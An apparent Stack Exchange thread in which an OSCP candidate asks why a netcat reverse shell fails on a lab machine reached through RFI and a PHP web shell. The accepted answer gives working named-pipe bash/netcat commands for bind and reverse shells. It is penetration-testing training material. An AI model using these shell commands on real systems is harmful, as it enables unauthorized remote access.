I'm doing my OSCP certification. On one of the lab machines, I'm having a really hard time getting a reverse shell.

I scanned the machine and found port 80 open. I enumerated even more and found a RFI.
I uploaded a php web shell and it worked, command is running as apache user. Then I enumerated more and found netcat on the machine.

Now I want to have a shell to my attacking box. I tried using netcat as a reverse/bind shell and get nothing.

I tried different ports and nothing is working. When I scan with nmap ports like 6666, 4444, 5555 they are all filtered.

What am I doing wrong?

  • 7
    Doesn't this fall behind the "Try harder" motto? Oct 4, 2016 at 8:59
  • im trying harder for tow days
    – Xozu
    Oct 4, 2016 at 9:19
  • what is the netcat command you're using to get the shell?
    – kaidentity
    Oct 4, 2016 at 9:26
  • Try to get the output of nc -h and check if it has a -e option. Most nc's don't. Then you need to find another way.
    – kaidentity
    Oct 4, 2016 at 9:39
  • 4
    @ShaiAlfasi 2 days is nothing. You need to try harder. What you've done wrong is to discuss the details of the lab outside the lab environment. When I took the OSCP, this would have violated your terms.
    – schroeder
    Oct 4, 2016 at 20:24

1 Answer 1


Most ncs in the OffSec lab (like most ncs in popular linux distros) don't support -e. It simply doesn't exist.
The solution is to redirect the stdin/stdout communication through a pipe:

cd /tmp
mknod mypipe p
/bin/bash 0< /tmp/mypipe | nc -nlvp 4444 1> /tmp/mypipe

for a bind shell or

/bin/bash 0< /tmp/mypipe | nc 4444 1> /tmp/mypipe

for a reverse shell. Here is a full article about this.

Recently I found another nc on a Ubuntu 10.04 system where the above nc listener wouldn't have worked since nc didn't allow -l and p simultanously. So before panicking because the shell doesn't work you should first try to get the nc help or try to play with the various options (I tend to specify a lot of flags, maybe one should aim for as little as possible).

  • ho i feel so stupid i already read that but i ignord that, it works! thank you a lot !
    – Xozu
    Oct 4, 2016 at 9:55
  • Wow nice! I have seen this once before, but I didn't know why they were using backpipes. Well explained. I am going to try for my OSCP later this year so this is great to know. The only thing I would ask is please paste some of the content over into your answer from that article so as to keep in line with the stack exchange answer quality policies Oct 4, 2016 at 13:32

Not the answer you're looking for? Browse other questions tagged or ask your own question.